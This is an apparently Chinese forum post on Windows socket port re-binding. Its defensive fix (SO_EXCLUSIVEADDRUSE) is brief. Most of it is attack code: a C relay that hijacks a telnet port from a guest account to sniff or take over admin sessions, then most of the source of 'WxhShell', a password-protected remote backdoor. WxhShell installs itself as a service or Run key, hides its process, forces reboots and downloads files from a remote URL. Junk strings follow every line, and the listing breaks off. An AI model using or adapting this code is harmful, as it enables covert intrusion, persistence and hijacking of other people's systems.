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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M1{ru~Z9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qa>Z?/w  
teRK#: .P  
  saddr.sin_family = AF_INET; J.nJ@?O+  
6V[ce4a%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0?x9.]  
T7F)'Mx<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5somoV B  
:Nry |  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dfo_R  
7iI6._"!w  
  这意味着什么?意味着可以进行如下的攻击: y7iHB k"^:  
Bo)N<S_=^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NeG$;z7  
;nzzt~aCC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _9y  
0a1Vj56{)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =f{)!uW<4  
`$kKTc:f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uA`EJ )d  
P4h^_*d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E{):z g  
`E@TPdu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (z8^^j[  
0!Zp4>l\Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a$}n4p  
bcVzl]9  
  #include oRp;9   
  #include CLQE@kF;  
  #include aPELAU-  
  #include    zB/)_AW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D@-'<0=  
  int main() Qp]-:b  
  { 8w 2$H  
  WORD wVersionRequested; cx+li4v  
  DWORD ret; [ X7LV  
  WSADATA wsaData; V~9vf*X  
  BOOL val; MfJs?N0  
  SOCKADDR_IN saddr; ITUwIpA E  
  SOCKADDR_IN scaddr; ~7kIe+V  
  int err; ('9LUFw\  
  SOCKET s; P&6hk6#  
  SOCKET sc; *>=|"ff  
  int caddsize; Ao2m"ym  
  HANDLE mt; 'N7AVj  
  DWORD tid;   o%~PWA*Qp  
  wVersionRequested = MAKEWORD( 2, 2 ); 1vy*u  
  err = WSAStartup( wVersionRequested, &wsaData ); Q')0 T>F-  
  if ( err != 0 ) { Z`W @Od$f  
  printf("error!WSAStartup failed!\n"); #]g9O?0$  
  return -1; Boi?Bt  
  } ]j^V5y"  
  saddr.sin_family = AF_INET; \!]Zq#*kH  
   ^Z6N&s#6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [~%\:of70n  
~_;x o?@ba  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w^rINPAS  
  saddr.sin_port = htons(23); vWGjc2_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gG>|5R0  
  { SK>*tKY  
  printf("error!socket failed!\n"); D09/(%4j  
  return -1; e>GX]tK  
  } @D'NoA@1A  
  val = TRUE; Dej2-Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GfG!CG^ %  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _NkVi_UX  
  { uyp|Xh,  
  printf("error!setsockopt failed!\n"); O<:"Irq\qr  
  return -1; 0/vmj,&B(  
  } @~Uu]1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oD@~wcMIT0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A.D@21py  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1TuN   
2$Fy?08q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R Cgn\  
  { 3T<aGW1  
  ret=GetLastError(); aYmC LLj  
  printf("error!bind failed!\n"); 7*a']W{aJ  
  return -1; 4ox[,  
  } o'`:$ (  
  listen(s,2); L^7"I 4=(D  
  while(1) nWyn}+C-  
  { Z0(}doh  
  caddsize = sizeof(scaddr); *yDsK+[_  
  //接受连接请求 ;QiSz=DyA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  UE-+P  
  if(sc!=INVALID_SOCKET) =/|2f; Q  
  { >=WlrmI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3Dm`8Xt  
  if(mt==NULL) G<8d=}  
  { X=W.{?  
  printf("Thread Creat Failed!\n"); |$)+h\h  
  break; }kCaTI?@#  
  } AwC"c '  
  } Q`ALyp,9b  
  CloseHandle(mt); Lwzk<+>w^  
  } k4AF .U`I  
  closesocket(s); {cW%i:  
  WSACleanup(); tr<iFT}C  
  return 0; 6UXDIg=  
  }    3g#  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8d!t"oj68  
  { qrK\f  
  SOCKET ss = (SOCKET)lpParam; Ul/Uk n$  
  SOCKET sc; .}O _5b(  
  unsigned char buf[4096]; Cd"cU~HAB  
  SOCKADDR_IN saddr; `F^~*FnR,B  
  long num; &`9p.  
  DWORD val; qoo+=eh!  
  DWORD ret; $&C~Qti|G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @C?.)#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gZ^'hW-{  
  saddr.sin_family = AF_INET; iz0GL&<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |@+/R .l  
  saddr.sin_port = htons(23); wUj#ACqB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #ox &=MY  
  { 3Aqw )B'"_  
  printf("error!socket failed!\n"); X>$s>})Y  
  return -1; >p[skN   
  } K4{1}bU{>  
  val = 100; ?4^8C4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u@{z xYn  
  { c=52*&  
  ret = GetLastError(); )qL UHE=  
  return -1; 'T7=.Hq<4  
  } bh~"LQS1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \%! t2=J!  
  { h5do?b v!  
  ret = GetLastError(); 1e'Ez4*  
  return -1; ?c;T4@mB  
  } \mIm}+!H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eBs4:R_i  
  { a*g7uaoP  
  printf("error!socket connect failed!\n"); : CR1Oy9  
  closesocket(sc); O #  
  closesocket(ss); + bU*"5"  
  return -1; FB\lUO)U\c  
  } qIC9L"I  
  while(1) B'kV.3t  
  { D J:N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w9W0j  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 '20SoVp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .GM}3(1fX`  
  num = recv(ss,buf,4096,0); A;'*>NS  
  if(num>0) t V:oBT*  
  send(sc,buf,num,0); ,e{|[k  
  else if(num==0) ydx-` yg#  
  break; O9_S"\8]@  
  num = recv(sc,buf,4096,0); 2`ED?F68gH  
  if(num>0) ' thEZ  
  send(ss,buf,num,0); ]5_6m;g  
  else if(num==0) -UMPt"o  
  break; iYE7BUH=  
  } OZ9ud ]@\  
  closesocket(ss); &|% F=/VU  
  closesocket(sc); ~ZN]2}  
  return 0 ; v6$ }saTX  
  } RhPEda2  
rF*L@HI  
L( B(x>w  
========================================================== )= :gO`"D  
t]QGyW A]  
下边附上一个代码,,WXhSHELL 5IsRIz[`TK  
-2`D(xC  
========================================================== `O'@TrI  
M }H7`,@I  
#include "stdafx.h" \`MX\OR  
+I9+L6>UR  
#include <stdio.h> |fd}B5!c  
#include <string.h> ENEnHu^  
#include <windows.h> 0nDlqy6b1b  
#include <winsock2.h> WL6p+sN'  
#include <winsvc.h> :AzP3~BI  
#include <urlmon.h> eT4+O5t  
|}O9'fyU8  
#pragma comment (lib, "Ws2_32.lib") J(s%"d  
#pragma comment (lib, "urlmon.lib") R06zca  
^9ZW }AAO  
#define MAX_USER   100 // 最大客户端连接数 Rw R.*?#  
#define BUF_SOCK   200 // sock buffer ,fQs+*j  
#define KEY_BUFF   255 // 输入 buffer c[DC  
x,3oa_'E  
#define REBOOT     0   // 重启 @uWPo2  
#define SHUTDOWN   1   // 关机 cHG>iW9C  
&7gE=E(M  
#define DEF_PORT   5000 // 监听端口 .).*6{_  
)t/[z3rn  
#define REG_LEN     16   // 注册表键长度 %~ROV>&  
#define SVC_LEN     80   // NT服务名长度 7T)J{:+0!|  
N;.cZp2  
// 从dll定义API g3i !>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9m:qQ1[\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0tzMu#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OFtAT@ =O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e+ZC<Bdh  
sT^^#$ub  
// wxhshell配置信息 X[XSf=  
struct WSCFG { #$qhxYyd  
  int ws_port;         // 监听端口 W9$mgs=S`E  
  char ws_passstr[REG_LEN]; // 口令 abvA*|  
  int ws_autoins;       // 安装标记, 1=yes 0=no <^Hh5kfS'  
  char ws_regname[REG_LEN]; // 注册表键名 r|bvpZV  
  char ws_svcname[REG_LEN]; // 服务名 L'>t:^QTh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `B^ HW8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  ?2g\y@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u/@dWeY[]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xu1tN9:oE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .-:R mYGR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ">? y\#O A  
^PCshb##  
}; qP"<vZ  
*d,u)l :S  
// default Wxhshell configuration y3 {om^ f  
struct WSCFG wscfg={DEF_PORT, =a_B'^`L  
    "xuhuanlingzhe", SGU~LW&  
    1, iCouGd}  
    "Wxhshell", Mb I';Mq  
    "Wxhshell", >D';i\2j&  
            "WxhShell Service", O?ZCX_R:L  
    "Wrsky Windows CmdShell Service", |<@X* #X5  
    "Please Input Your Password: ", s -Mzl?o  
  1, Hm?zMyO.k  
  "http://www.wrsky.com/wxhshell.exe", >Ic)RPO9  
  "Wxhshell.exe" (i,TxjS'od  
    }; D/CSR=b  
Xm7Nr#  
// 消息定义模块 cD6$C31Y]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~CQYF,[Th  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i%+p\eeq*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *Mt's[8  
char *msg_ws_ext="\n\rExit."; H\f.a R=  
char *msg_ws_end="\n\rQuit."; 1RtbQ{2F;  
char *msg_ws_boot="\n\rReboot..."; o)P'H"Ki  
char *msg_ws_poff="\n\rShutdown..."; ,$,6%"'"  
char *msg_ws_down="\n\rSave to "; O)'Bx=S4Ke  
5PPV`7Xm9  
char *msg_ws_err="\n\rErr!"; fjUyx:  
char *msg_ws_ok="\n\rOK!"; "28b&pm  
A|#9  
char ExeFile[MAX_PATH]; n lsQf3  
int nUser = 0; ta*B#2D>  
HANDLE handles[MAX_USER]; ,X&lVv#  
int OsIsNt; ;}b.gpG  
a;Q6S  
SERVICE_STATUS       serviceStatus; qV$\.T>x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y~T;{&wi  
C?e1 a9r  
// 函数声明 C@` eYi  
int Install(void); V `V Z[  
int Uninstall(void); 3,8>\yf`  
int DownloadFile(char *sURL, SOCKET wsh); W9~vBU  
int Boot(int flag); ocCC63J  
void HideProc(void); g_G'%{T7  
int GetOsVer(void); vdloh ,  
int Wxhshell(SOCKET wsl); *KO4H  
void TalkWithClient(void *cs); DFKU?#R  
int CmdShell(SOCKET sock); #Al.Itj  
int StartFromService(void); 33lD`4i+  
int StartWxhshell(LPSTR lpCmdLine); Iaf"j 2B  
GZ# 6}/;b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (&4aebkZO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LB_y lfg  
j4L ) D  
// 数据结构和表定义 r5XG$:$8\  
SERVICE_TABLE_ENTRY DispatchTable[] = ,[}5@cS  
{ q;a`*gX^  
{wscfg.ws_svcname, NTServiceMain}, bv`gjR  
{NULL, NULL} KH)(xB=  
}; 0wV!mC  
SF2A?L?}+  
// 自我安装 C`c;I7  
int Install(void) @.f@N;z  
{ 5|!x0H;  
  char svExeFile[MAX_PATH]; `y; s1nL  
  HKEY key; >s}b q#x  
  strcpy(svExeFile,ExeFile); s7 IaU|m  
Q}~of}h/  
// 如果是win9x系统,修改注册表设为自启动 <JE-#i  
if(!OsIsNt) { ]%jlaXb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sw{,l"]<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ps1ndGp~#  
  RegCloseKey(key); W-:gU!{*#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rr fL [  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \x i wp.  
  RegCloseKey(key); @O#4duM4Qz  
  return 0; S?Q4u!FC  
    } 8Czy<}S<G  
  } w*`5b!+/  
} hc}d S$=C  
else { XQ&iV7   
<:)T7yVq  
// 如果是NT以上系统,安装为系统服务 Ym+k \h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7Wb:^.d g  
if (schSCManager!=0) Kl<qp7o0  
{ K2,oP )0.Y  
  SC_HANDLE schService = CreateService 9E^IEwq'  
  ( 57e'a&}e  
  schSCManager, 1TbY,3W  
  wscfg.ws_svcname, L@Fw;G|%'  
  wscfg.ws_svcdisp, 6>ZUx}vYj  
  SERVICE_ALL_ACCESS, dxbP'2~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~TC z1UWV  
  SERVICE_AUTO_START, 2%"2~d7  
  SERVICE_ERROR_NORMAL, tL(B gku9  
  svExeFile, 0qXd?z$  
  NULL, Yz;Hu$/  
  NULL, u9rlNmf$  
  NULL, PV vNu5k  
  NULL, 3eQ-P8LS  
  NULL +h^>?U,  
  ); #?.Yc%5B  
  if (schService!=0) S(Md  
  { N*w/\|  
  CloseServiceHandle(schService); 8X`iMFa.P  
  CloseServiceHandle(schSCManager); <CIJ g*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8#NtZ  
  strcat(svExeFile,wscfg.ws_svcname); k"F5'Od  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )p'ZSXb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^Ts|/+}'i  
  RegCloseKey(key); 6}"P m  
  return 0; /,dcr*  
    } (3YCe{  
  } WCT}OiLsL  
  CloseServiceHandle(schSCManager); 6j{9\ R  
} K5gh7  
} +@[T0cXp  
p x1y#Q  
return 1; 'EoJo9p6}  
} 9 lE[oAC  
U<J4\|1?7'  
// 自我卸载 @~% R%Vu  
int Uninstall(void) a5jc8S>  
{ 5BnO-[3  
  HKEY key; 4eTfb  
t%Hg8oya  
if(!OsIsNt) { NfizX!w&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4E]w4BG)  
  RegDeleteValue(key,wscfg.ws_regname); IiTV*azVh  
  RegCloseKey(key); W1S7%6y_1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "!()yjy  
  RegDeleteValue(key,wscfg.ws_regname); P3X;&iT  
  RegCloseKey(key); D@ut -J(.  
  return 0; $,$bZV  
  } {/`iZzPg  
} ! iuDmL  
} a;JB8  
else { |kJ'FZZd  
y<(q<V#0!S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vI3L <[W  
if (schSCManager!=0) Zg1=g_xY  
{ a^_\#,}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dPplZ,Y%  
  if (schService!=0) 0 `%eP5  
  { ZHT_o\  
  if(DeleteService(schService)!=0) { 7(cRm$)L  
  CloseServiceHandle(schService); 94 58.!3  
  CloseServiceHandle(schSCManager); {`,dWjy{%  
  return 0; 5%,5Xe4p  
  } $SAq/VHI1]  
  CloseServiceHandle(schService); wSoIU,I  
  } =K'X:UM  
  CloseServiceHandle(schSCManager); Cw7 07  
} C+ar]Vi  
} JDPn   
{I'8+~|pZL  
return 1; ;NNYJqWd^]  
} ~I[Z 2&I  
l~P%mVC3m  
// 从指定url下载文件 GaV6h|6_  
int DownloadFile(char *sURL, SOCKET wsh) 4/UY*Us&  
{ u#(VR]u\7  
  HRESULT hr; w#|uR^~  
char seps[]= "/"; jb;!"HC  
char *token; @@~OA>^  
char *file; +KV?W+g)`  
char myURL[MAX_PATH]; /)RyRS8c  
char myFILE[MAX_PATH]; .*\TG/x  
E4;vC ?K{  
strcpy(myURL,sURL); |f5WN&c  
  token=strtok(myURL,seps);  I/YBL  
  while(token!=NULL) %N5gQXg  
  { f_A'.oq+  
    file=token; o/0cd  
  token=strtok(NULL,seps); cGF_|1`  
  } qTc-Z5  
Ws;S=|9,7~  
GetCurrentDirectory(MAX_PATH,myFILE); s Dq{h  
strcat(myFILE, "\\"); +/xmxh$ $  
strcat(myFILE, file); |2RoDW  
  send(wsh,myFILE,strlen(myFILE),0); ^`M,ju  
send(wsh,"...",3,0); aumWU{j=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u|]{|Ya'%  
  if(hr==S_OK) &1nZ%J9  
return 0; {qxFRi#\k  
else h8 Wv t's  
return 1; sVXIR  
r?cDyQE  
} w:[1,rRvT  
kyV!ATL1F  
// 系统电源模块 m~7[fgN2  
int Boot(int flag) #63)I9>  
{ `D *U@iJ  
  HANDLE hToken; =AaTn::e/  
  TOKEN_PRIVILEGES tkp; Nf@-i`  
m@(8-_  
  if(OsIsNt) { ~>2DA$Ec  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iakqCjV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aTi2=HL=S  
    tkp.PrivilegeCount = 1; ".0~@W0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <HYK9{Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (29h{=P'  
if(flag==REBOOT) { *=yUs'brB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <]: X  
  return 0; /NE<?t N  
} ?HD eiJ kX  
else { <V`1?9c7D1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {TmrWFo  
  return 0; ~Qg:_ @@\  
} b\{34z,  
  } v w.rkAGY  
  else { " pZvV0'  
if(flag==REBOOT) { p?@R0]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MKdS_&F;~  
  return 0; G 51l_  
} , ZisJksk  
else { DHI%R<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DJWm7 t  
  return 0; st7\k]J\  
} w(,K  
} NE~R&ym9  
N}|<P[LW  
return 1; r%:Q(|v?  
} /m"#uC!\  
lwVo%-  
// win9x进程隐藏模块 HpXQ D;  
void HideProc(void)  L- '{   
{ ^i"~6QYE  
hRU5CH/!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +VSq[P  
  if ( hKernel != NULL ) DqH?:`G  
  { `] fud{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $.5f-vQp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ',_E;(  
    FreeLibrary(hKernel); <<SUIY@X  
  } R(^2+mV?  
xj!G9x<!  
return; _o+z#Fnz  
} @$*LU:[  
7Rq|N$y.3  
// 获取操作系统版本  %"jp':  
int GetOsVer(void) 78MQoG<  
{ swTur  
  OSVERSIONINFO winfo; Y[R;UJE`5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2{Johqf  
  GetVersionEx(&winfo); G~+BO'U9'G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <i$ud&D  
  return 1; /cXVJ(#j  
  else <E&8g[x6  
  return 0; =i1+t"=  
} vVy X[ZZ  
C$x r)_  
// 客户端句柄模块 ~u.( (GM  
int Wxhshell(SOCKET wsl) `zP{E T_Y  
{ lP;X=X>  
  SOCKET wsh; HZl//Uq  
  struct sockaddr_in client; nYb{?{_ca8  
  DWORD myID; 3 q^^Os  
 %>z)Q  
  while(nUser<MAX_USER) 1w$X;q"  
{ JBK(N k  
  int nSize=sizeof(client); 6>d0i S@R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \2^_v' >K  
  if(wsh==INVALID_SOCKET) return 1; Ve9*>6i&-4  
84f~.45  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N]dsGvX  
if(handles[nUser]==0) 5faY{;8  
  closesocket(wsh); xV\mS+#  
else mzbMX <  
  nUser++; *>,#'C2  
  } _qp^+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x@Ze%$'  
"V3f"J?  
  return 0; 2JR$  
} 7H$wpn Zln  
M@a=|N~  
// 关闭 socket sIz*r Gz  
void CloseIt(SOCKET wsh) =8W'4MC  
{ V+>.Gf  
closesocket(wsh); P/Zp3O H  
nUser--; 7f_tH_(  
ExitThread(0); 7\<}378/^  
} =;m;r!,K  
~ \3j{pr  
// 客户端请求句柄 O!ngQrI  
void TalkWithClient(void *cs) e .(  
{ d3&l!DoX  
+AkMU|6  
  SOCKET wsh=(SOCKET)cs; *Hed^[sO  
  char pwd[SVC_LEN]; -P>up)p  
  char cmd[KEY_BUFF]; ;vp[J&=  
char chr[1]; !wr2OxK*  
int i,j; TYu(;~   
Scz/2vNi`  
  while (nUser < MAX_USER) { hMQh?sF/  
0UN65JBuD  
if(wscfg.ws_passstr) { ?>T (  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f~Ve7   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9^2l<4^Z  
  //ZeroMemory(pwd,KEY_BUFF); b3^d!#KVM  
      i=0; sV$Zf `X)  
  while(i<SVC_LEN) { ,cwjieM  
*'\ xlsp#  
  // 设置超时 D]*<J"/]d  
  fd_set FdRead; o`%;*tx  
  struct timeval TimeOut; kx6-8j3gD7  
  FD_ZERO(&FdRead); pUm|e5  
  FD_SET(wsh,&FdRead); cM;,nX%/  
  TimeOut.tv_sec=8; Wo, "$Z6B  
  TimeOut.tv_usec=0; bc%N !d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y:KIaYkk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BQF7S<O+  
. yN.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b X'.hHR  
  pwd=chr[0]; 7Ug^aA  
  if(chr[0]==0xd || chr[0]==0xa) { yl UkVr   
  pwd=0; x>eV$UJ  
  break; 54>gr1B  
  }  c FV3  
  i++; ZK$<"z6{  
    } p$!Q?&AV/  
.e1Yd8  
  // 如果是非法用户,关闭 socket C~q&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |N%#;7  
} 6< @F  
L)-1( e<x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NsUP0B}.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fz1K*xx'  
XTS%:S  
while(1) { 4#Id0['  
#@8JYzMq%  
  ZeroMemory(cmd,KEY_BUFF); {L.=)zt>  
+A%"_7L}  
      // 自动支持客户端 telnet标准   6o=Q;Mezl  
  j=0; ^rssZQKY[  
  while(j<KEY_BUFF) { rls\3 R(jt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b5t:" >wC  
  cmd[j]=chr[0]; MGfIA?u  
  if(chr[0]==0xa || chr[0]==0xd) { MVXy)9q  
  cmd[j]=0; `Yw:<w\4C  
  break; w3Z;&sFd  
  } PsCr[\Ul  
  j++; {/}p"(^  
    } CaqqH`/E4  
ZxU3)`O  
  // 下载文件 C{2y*sx  
  if(strstr(cmd,"http://")) { +p):   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @8"cT-  
  if(DownloadFile(cmd,wsh)) rUWC=?Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wj"GS!5  
  else >NjgLJh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }/g1s71  
  } H`EsFKw\%  
  else { +~f5dJyk`  
S?e*<s9k  
    switch(cmd[0]) { Q5>]f/LD  
  At)\$GJ  
  // 帮助 <0!)}O  
  case '?': { Rb l4aB+   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I W5N^J  
    break; WYY&MHp  
  } YT\.${N  
  // 安装 CN!~(1v  
  case 'i': { ^zVW 3 Y q  
    if(Install()) &7Lg) PG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IfzZ\x .  
    else z%~rQa./$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zg/ ],/`  
    break; F|^tRL-  
    } Ae|bAyAK  
  // 卸载 N5|wBm>m  
  case 'r': { ;noZmPa  
    if(Uninstall()) r9!,cs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs;Y|W4'  
    else .kZ<Q]Vk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pu,|_N[xq8  
    break; r l>e~i  
    } u]jvXPE6  
  // 显示 wxhshell 所在路径 DA9f\q   
  case 'p': { }x(Ewr  
    char svExeFile[MAX_PATH]; Be~In~~  
    strcpy(svExeFile,"\n\r"); I|R;)[;X  
      strcat(svExeFile,ExeFile); 6<{XwmM  
        send(wsh,svExeFile,strlen(svExeFile),0); u?lbC9}$  
    break; _8&a%?R@W  
    } bguTWI8bk  
  // 重启 ">x"BP  
  case 'b': { $J!WuOz4^i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S- JD}+ 9  
    if(Boot(REBOOT)) !1[ZfTX^a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pm== m9  
    else { `*w!S8}m;  
    closesocket(wsh); f=T&$tZ<  
    ExitThread(0); )2: ,E  
    } 3eR c>^wh  
    break; ` 3h,Cy^  
    } ,FWsgqL{l  
  // 关机 Z^6qxZJ7  
  case 'd': { )8 %lZ {  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m)e~HP7M  
    if(Boot(SHUTDOWN)) l?:S)[:  
